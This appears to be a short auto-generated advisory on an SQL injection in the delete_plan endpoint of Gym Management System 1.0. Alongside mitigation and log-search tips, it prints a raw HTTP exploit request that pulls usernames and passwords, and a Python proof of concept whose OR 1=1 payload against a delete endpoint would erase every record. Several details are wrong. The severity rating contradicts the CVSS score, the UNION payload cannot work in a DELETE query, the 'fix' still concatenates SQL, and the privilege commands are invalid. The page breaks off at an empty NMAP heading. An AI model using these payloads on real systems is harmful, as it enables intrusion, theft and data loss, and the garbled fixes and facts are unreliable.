How CVE-2025-4486 Works
This vulnerability exploits improper input sanitization in the `ajax.php?action=delete_plan` endpoint of Gym Management System 1.0. The `ID` parameter is directly concatenated into an SQL query without validation, allowing attackers to inject malicious SQL payloads. A crafted request manipulates the `ID` parameter to execute arbitrary database commands, potentially leading to data theft, authentication bypass, or system compromise. The attack is remotely exploitable with no authentication required (CVSS 6.9).
DailyCVE Form
Platform: Gym Management System
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 05/13/2025
What Undercode Say:
Exploitation:
POST /ajax.php?action=delete_plan HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded ID=1' UNION SELECT username,password FROM users--
Mitigation:
1. Patch: Apply vendor updates.
2. Input Validation: Sanitize `ID` parameter.
3. WAF Rules: Block SQLi patterns.
Detection:
grep -r "ajax.php?action=delete_plan" /var/www/html
Code Fix (PHP):
$id = mysqli_real_escape_string($conn, $_POST['ID']); $query = "DELETE FROM plans WHERE id = '$id'";
Log Analysis:
cat /var/log/apache2/access.log | grep "ajax.php.ID="
Exploit PoC (Python):
import requests
payload = "1' OR 1=1--"
r = requests.post("http://target.com/ajax.php?action=delete_plan", data={"ID": payload})
print(r.text)
Database Hardening:
REVOKE ALL PRIVILEGES ON gym_db. FROM 'webuser'@'localhost'; GRANT SELECT ONLY ON gym_db.plans TO 'webuser'@'localhost';
Backup Command:
mysqldump -u root -p gym_db > gym_backup.sql
NMAP Detection:
